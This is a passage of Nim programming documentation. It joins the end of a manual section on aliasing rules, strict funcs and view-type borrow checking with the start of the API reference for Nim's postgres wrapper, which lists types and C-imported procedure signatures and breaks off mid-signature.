parameters should never be aliased. 2. An input and an output parameter should not be aliased. 3. An output parameter should never be aliased with a global or thread local variable referenced by the called proc. 4. An input parameter should not be aliased with a global or thread local variable updated by the called proc. One problem with rules 3 and 4 is that they affect specific global or thread local variables, but Nim's effect tracking only tracks "uses no global variable" via `.noSideEffect`. The rules 3 and 4 can also be approximated by a different rule: 1. A global or thread local variable (or a location derived from such a location) can only passed to a parameter of a `.noSideEffect` proc. Noalias annotation ------------------ Since version 1.4 of the Nim compiler, there is a `.noalias` annotation for variables and parameters. It is mapped directly to C/C++'s `restrict` keyword and means that the underlying pointer is pointing to a unique location in memory, no other aliases to this location exist. It is *unchecked* that this alias restriction is followed, if the restriction is violated, the backend optimizer is free to miscompile the code. This is an **unsafe** language feature. Ideally in later versions of the language, the restriction will be enforced at compile time. (Which is also why the name `noalias` was choosen instead of a more verbose name like `unsafeAssumeNoAlias`.) Strict funcs ------------ Since version 1.4 a stricter definition of "side effect" is available. In addition to the existing rule that a side effect is calling a function with side effects the following rule is also enforced: Any mutation to an object does count as a side effect if that object is reachable via a parameter that is not declared as a `var` parameter. For example: ``` {.experimental: "strictFuncs".} type Node = ref object le, ri: Node data: string func len(n: Node): int = # valid: len does not have side effects var it = n while it != nil: inc result it = it.ri func mut(n: Node) = let m = n # is the statement that connected the mutation to the parameter m.data = "yeah" # the mutation is here # Error: 'mut' can have side effects # an object reachable from 'n' is potentially mutated ``` The algorithm behind this analysis is described in the [view types section](#view-types-algorithm). View types ---------- **Note**: `--experimental:views` is more effective with `--experimental:strictFuncs`. A view type is a type that is or contains one of the following types: * `var T` (mutable view into `T`) * `lent T` (immutable view into `T`) * `openArray[T]` (pair of (pointer to array of `T`, size)) For example: ``` type View1 = var int View2 = openArray[byte] View3 = lent string View4 = Table[openArray[char], int] ``` Exceptions to this rule are types constructed via `ptr` or `proc`. For example, the following types are **not** view types: ``` type NotView1 = proc (x: openArray[int]) NotView2 = ptr openArray[char] NotView3 = ptr array[4, var int] ``` A *mutable* view type is a type that is or contains a `var T` type. An *immutable* view type is a view type that is not a mutable view type. A *view* is a symbol (a let, var, const, etc.) that has a view type. Since version 1.4 Nim allows view types to be used as local variables. This feature needs to be enabled via `{.experimental: "views".}`. A local variable of a view type *borrows* from the locations and it is statically enforced that the view does not outlive the location it was borrowed from. For example: ``` {.experimental: "views".} proc take(a: openArray[int]) = echo a.len proc main(s: seq[int]) = var x: openArray[int] = s # 'x' is a view into 's' # it is checked that 'x' does not outlive 's' and # that 's' is not mutated. for i in 0 .. high(x): echo x[i] take(x) take(x.toOpenArray(0, 1)) # slicing remains possible let y = x # create a view from a view take y # it is checked that 'y' does not outlive 'x' and # that 'x' is not mutated as long as 'y' lives. main(@[11, 22, 33]) ``` A local variable of a view type can borrow from a location derived from a parameter, another local variable, a global `const` or `let` symbol or a thread-local `var` or `let`. Let `p` the proc that is analysed for the correctness of the borrow operation. Let `source` be one of: * A formal parameter of `p`. Note that this does not cover parameters of inner procs. * The `result` symbol of `p`. * A local `var` or `let` or `const` of `p`. Note that this does not cover locals of inner procs. * A thread-local `var` or `let`. * A global `let` or `const`. * A constant array/seq/object/tuple constructor. ### Path expressions A location derived from `source` is then defined as a path expression that has `source` as the owner. A path expression `e` is defined recursively: * `source` itself is a path expression. * Container access like `e[i]` is a path expression. * Tuple access `e[0]` is a path expression. * Object field access `e.field` is a path expression. * `system.toOpenArray(e, ...)` is a path expression. * Pointer dereference `e[]` is a path expression. * An address `addr e`, `unsafeAddr e` is a path expression. * A type conversion `T(e)` is a path expression. * A cast expression `cast[T](e)` is a path expression. * `f(e, ...)` is a path expression if `f`'s return type is a view type. Because the view can only have been borrowed from `e`, we then know that owner of `f(e, ...)` is `e`. If a view type is used as a return type, the location must borrow from a location that is derived from the first parameter that is passed to the proc. See [https://nim-lang.org/docs/manual.html#procedures-var-return-type](manual#procedures-var-return-type) for details about how this is done for `var T`. A mutable view can borrow from a mutable location, an immutable view can borrow from both a mutable or an immutable location. The *duration* of a borrow is the span of commands beginning from the assignment to the view and ending with the last usage of the view. For the duration of the borrow operation, no mutations to the borrowed locations may be performed except via the potentially mutable view that borrowed from the location. The borrowed location is said to be *sealed* during the borrow. ``` {.experimental: "views".} type Obj = object field: string proc dangerous(s: var seq[Obj]) = let v: lent Obj = s[0] # seal 's' s.setLen 0 # prevented at compile-time because 's' is sealed. echo v.field ``` The scope of the view does not matter: ``` proc valid(s: var seq[Obj]) = let v: lent Obj = s[0] # begin of borrow echo v.field # end of borrow s.setLen 0 # valid because 'v' isn't used afterwards ``` The analysis requires as much precision about mutations as is reasonably obtainable, so it is more effective with the experimental [strict funcs](#strict-funcs) feature. In other words `--experimental:views` works better with `--experimental:strictFuncs`. The analysis is currently control flow insensitive: ``` proc invalid(s: var seq[Obj]) = let v: lent Obj = s[0] if false: s.setLen 0 echo v.field ``` In this example, the compiler assumes that `s.setLen 0` invalidates the borrow operation of `v` even though a human being can easily see that it will never do that at runtime. ### Start of a borrow A borrow starts with one of the following: * The assignment of a non-view-type to a view-type. * The assignment of a location that is derived from a local parameter to a view-type. ### End of a borrow A borrow operation ends with the last usage of the view variable. ### Reborrows A view `v` can borrow from multiple different locations. However, the borrow is always the full span of `v`'s lifetime and every location that is borrowed from is sealed during `v`'s lifetime. ### Algorithm The following section is an outline of the algorithm that the current implementation uses. The algorithm performs two traversals over the AST of the procedure or global section of code that uses a view variable. No fixpoint iterations are performed, the complexity of the analysis is O(N) where N is the number of nodes of the AST. The first pass over the AST computes the lifetime of each local variable based on a notion of an "abstract time", in the implementation it's a simple integer that is incremented for every visited node. In the second pass information about the underlying object "graphs" is computed. Let `v` be a parameter or a local variable. Let `G(v)` be the graph that `v` belongs to. A graph is defined by the set of variables that belong to the graph. Initially for all `v`: `G(v) = {v}`. Every variable can only be part of a single graph. Assignments like `a = b` "connect" two variables, both variables end up in the same graph `{a, b} = G(a) = G(b)`. Unfortunately, the pattern to look for is much more complex than that and can involve multiple assignment targets and sources: ``` f(x, y) = g(a, b) ``` connects `x` and `y` to `a` and `b`: `G(x) = G(y) = G(a) = G(b) = {x, y, a, b}`. A type based alias analysis rules out some of these combinations, for example a `string` value cannot possibly be connected to a `seq[int]`. A pattern like `v[] = value` or `v.field = value` marks `G(v)` as mutated. After the second pass a set of disjoint graphs was computed. For strict functions it is then enforced that there is no graph that is both mutated and has an element that is an immutable parameter (that is a parameter that is not of type `var T`). For borrow checking a different set of checks is performed. Let `v` be the view and `b` the location that is borrowed from. * The lifetime of `v` must not exceed `b`'s lifetime. Note: The lifetime of a parameter is the complete proc body. * If `v` is a mutable view and `v` is used to actually mutate the borrowed location, then `b` has to be a mutable location. Note: If it is not actually used for mutation, borrowing a mutable view from an immutable location is allowed! This allows for many important idioms and will be justified in an upcoming RFC. * During `v`'s lifetime, `G(b)` can only be modified by `v` (and only if `v` is a mutable view). * If `v` is `result` then `b` has to be a location derived from the first formal parameter or from a constant location. * A view cannot be used for a read or a write access before it was assigned to.
programming_docs
nim postgres postgres ======== Types ----- ``` POid = ptr Oid ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L31) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L31) ``` Oid = int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L32) ``` SockAddr = array[1 .. 112, int8] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L39) ``` PGresAttDesc {...}{.pure, final.} = object name*: cstring adtid*: Oid adtsize*: int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L40) ``` PPGresAttDesc = ptr PGresAttDesc ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L45) ``` PPPGresAttDesc = ptr PPGresAttDesc ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L46) ``` PGresAttValue {...}{.pure, final.} = object length*: int32 value*: cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L47) ``` PPGresAttValue = ptr PGresAttValue ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L51) ``` PPPGresAttValue = ptr PPGresAttValue ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L52) ``` PExecStatusType = ptr ExecStatusType ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L53) ``` ExecStatusType = enum PGRES_EMPTY_QUERY = 0, PGRES_COMMAND_OK, PGRES_TUPLES_OK, PGRES_COPY_OUT, PGRES_COPY_IN, PGRES_BAD_RESPONSE, PGRES_NONFATAL_ERROR, PGRES_FATAL_ERROR ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L54) ``` PGlobjfuncs {...}{.pure, final.} = object fn_lo_open*: Oid fn_lo_close*: Oid fn_lo_creat*: Oid fn_lo_unlink*: Oid fn_lo_lseek*: Oid fn_lo_tell*: Oid fn_lo_read*: Oid fn_lo_write*: Oid ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L57) ``` PPGlobjfuncs = ptr PGlobjfuncs ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L67) ``` PConnStatusType = ptr ConnStatusType ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L68) ``` ConnStatusType = enum CONNECTION_OK, CONNECTION_BAD, CONNECTION_STARTED, CONNECTION_MADE, CONNECTION_AWAITING_RESPONSE, CONNECTION_AUTH_OK, CONNECTION_SETENV, CONNECTION_SSL_STARTUP, CONNECTION_NEEDED ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L69) ``` PGconn {...}{.pure, final.} = object pghost*: cstring pgtty*: cstring pgport*: cstring pgoptions*: cstring dbName*: cstring status*: ConnStatusType errorMessage*: array[0 .. 4096 - 1, char] Pfin*: File Pfout*: File Pfdebug*: File sock*: int32 laddr*: SockAddr raddr*: SockAddr salt*: array[0 .. 2 - 1, char] asyncNotifyWaiting*: int32 notifyList*: pointer pguser*: cstring pgpass*: cstring lobjfuncs*: PPGlobjfuncs ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L73) ``` PPGconn = ptr PGconn ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L94) ``` PGresult {...}{.pure, final.} = object ntups*: int32 numAttributes*: int32 attDescs*: PPGresAttDesc tuples*: PPPGresAttValue tupArrSize*: int32 resultStatus*: ExecStatusType cmdStatus*: array[0 .. 40 - 1, char] binary*: int32 conn*: PPGconn ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L95) ``` PPGresult = ptr PGresult ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L106) ``` PPostgresPollingStatusType = ptr PostgresPollingStatusType ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L107) ``` PostgresPollingStatusType = enum PGRES_POLLING_FAILED = 0, PGRES_POLLING_READING, PGRES_POLLING_WRITING, PGRES_POLLING_OK, PGRES_POLLING_ACTIVE ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L108) ``` PPGTransactionStatusType = ptr PGTransactionStatusType ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L111) ``` PGTransactionStatusType = enum PQTRANS_IDLE, PQTRANS_ACTIVE, PQTRANS_INTRANS, PQTRANS_INERROR, PQTRANS_UNKNOWN ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L112) ``` PPGVerbosity = ptr PGVerbosity ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L115) ``` PGVerbosity = enum PQERRORS_TERSE, PQERRORS_DEFAULT, PQERRORS_VERBOSE ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L116) ``` PPGNotify = ptr pgNotify ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L118) ``` pgNotify {...}{.pure, final.} = object relname*: cstring be_pid*: int32 extra*: cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L119) ``` PQnoticeReceiver = proc (arg: pointer; res: PPGresult) {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L124) ``` PQnoticeProcessor = proc (arg: pointer; message: cstring) {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L125) ``` Ppqbool = ptr pqbool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L126) ``` pqbool = char ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L127) ``` PPQprintOpt = ptr PQprintOpt ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L128) ``` PQprintOpt {...}{.pure, final.} = object header*: pqbool align*: pqbool standard*: pqbool html3*: pqbool expanded*: pqbool pager*: pqbool fieldSep*: cstring tableOpt*: cstring caption*: cstring fieldName*: ptr cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L129) ``` PPQconninfoOption = ptr PQconninfoOption ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L141) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L141) ``` PQconninfoOption {...}{.pure, final.} = object keyword*: cstring envvar*: cstring compiled*: cstring val*: cstring label*: cstring dispchar*: cstring dispsize*: int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L142) ``` PPQArgBlock = ptr PQArgBlock ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L151) ``` PQArgBlock {...}{.pure, final.} = object length*: int32 isint*: int32 p*: pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L152) Consts ------ ``` ERROR_MSG_LENGTH = 4096 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L35) ``` CMDSTATUS_LEN = 40 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L36) Procs ----- ``` proc pqinitOpenSSL(do_ssl: int32; do_crypto: int32) {...}{.cdecl, dynlib: dllName, importc: "PQinitOpenSSL".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L157) ``` proc pqconnectStart(conninfo: cstring): PPGconn {...}{.cdecl, dynlib: dllName, importc: "PQconnectStart".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L159) ``` proc pqconnectPoll(conn: PPGconn): PostgresPollingStatusType {...}{.cdecl, dynlib: dllName, importc: "PQconnectPoll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L161) ``` proc pqconnectdb(conninfo: cstring): PPGconn {...}{.cdecl, dynlib: dllName, importc: "PQconnectdb".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L163) ``` proc pqsetdbLogin(pghost: cstring; pgport: cstring; pgoptions: cstring; pgtty: cstring; dbName: cstring; login: cstring; pwd: cstring): PPGconn {...}{. cdecl, dynlib: dllName, importc: "PQsetdbLogin".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L165) ``` proc pqfinish(conn: PPGconn) {...}{.cdecl, dynlib: dllName, importc: "PQfinish".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L169) ``` proc pqconndefaults(): PPQconninfoOption {...}{.cdecl, dynlib: dllName, importc: "PQconndefaults".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L170) ``` proc pqconninfoFree(connOptions: PPQconninfoOption) {...}{.cdecl, dynlib: dllName, importc: "PQconninfoFree".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L172) ``` proc pqresetStart(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQresetStart".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L174) ``` proc pqresetPoll(conn: PPGconn): PostgresPollingStatusType {...}{.cdecl, dynlib: dllName, importc: "PQresetPoll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L176) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L176) ``` proc pqreset(conn: PPGconn) {...}{.cdecl, dynlib: dllName, importc: "PQreset".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L178) ``` proc pqrequestCancel(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQrequestCancel".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L179) ``` proc pqdb(conn: PPGconn): cstring {...}{.cdecl, dynlib: dllName, importc: "PQdb".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L181) ``` proc pquser(conn: PPGconn): cstring {...}{.cdecl, dynlib: dllName, importc: "PQuser".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L182) ``` proc pqpass(conn: PPGconn): cstring {...}{.cdecl, dynlib: dllName, importc: "PQpass".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L183) ``` proc pqhost(conn: PPGconn): cstring {...}{.cdecl, dynlib: dllName, importc: "PQhost".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L184) ``` proc pqport(conn: PPGconn): cstring {...}{.cdecl, dynlib: dllName, importc: "PQport".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L185) ``` proc pqtty(conn: PPGconn): cstring {...}{.cdecl, dynlib: dllName, importc: "PQtty".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L186) ``` proc pqoptions(conn: PPGconn): cstring {...}{.cdecl, dynlib: dllName, importc: "PQoptions".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L187) ``` proc pqstatus(conn: PPGconn): ConnStatusType {...}{.cdecl, dynlib: dllName, importc: "PQstatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L189) ``` proc pqtransactionStatus(conn: PPGconn): PGTransactionStatusType {...}{.cdecl, dynlib: dllName, importc: "PQtransactionStatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L191) ``` proc pqparameterStatus(conn: PPGconn; paramName: cstring): cstring {...}{.cdecl, dynlib: dllName, importc: "PQparameterStatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L193) ``` proc pqserverVersion(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQserverVersion".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L195) ``` proc pqprotocolVersion(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQprotocolVersion".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L197) ``` proc pqerrorMessage(conn: PPGconn): cstring {...}{.cdecl, dynlib: dllName, importc: "PQerrorMessage".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L199) ``` proc pqsocket(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQsocket".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L201) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L201) ``` proc pqbackendPID(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQbackendPID".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L203) ``` proc pqconnectionNeedsPassword(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQconnectionNeedsPassword".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L205) ``` proc pqconnectionUsedPassword(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQconnectionUsedPassword".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L207) ``` proc pqclientEncoding(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQclientEncoding".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L209) ``` proc pqsetClientEncoding(conn: PPGconn; encoding: cstring): int32 {...}{.cdecl, dynlib: dllName, importc: "PQsetClientEncoding".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L211) ``` proc pqsetErrorVerbosity(conn: PPGconn; verbosity: PGVerbosity): PGVerbosity {...}{. cdecl, dynlib: dllName, importc: "PQsetErrorVerbosity".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L217) ``` proc pqtrace(conn: PPGconn; debug_port: File) {...}{.cdecl, dynlib: dllName, importc: "PQtrace".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L219) ``` proc pquntrace(conn: PPGconn) {...}{.cdecl, dynlib: dllName, importc: "PQuntrace".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L221) ``` proc pqsetNoticeReceiver(conn: PPGconn; theProc: PQnoticeReceiver; arg: pointer): PQnoticeReceiver {...}{. cdecl, dynlib: dllName, importc: "PQsetNoticeReceiver".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L222) ``` proc pqsetNoticeProcessor(conn: PPGconn; theProc: PQnoticeProcessor; arg: pointer): PQnoticeProcessor {...}{.cdecl, dynlib: dllName, importc: "PQsetNoticeProcessor".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L224) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L224) ``` proc pqexec(conn: PPGconn; query: cstring): PPGresult {...}{.cdecl, dynlib: dllName, importc: "PQexec".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L227) ``` proc pqexecParams(conn: PPGconn; command: cstring; nParams: int32; 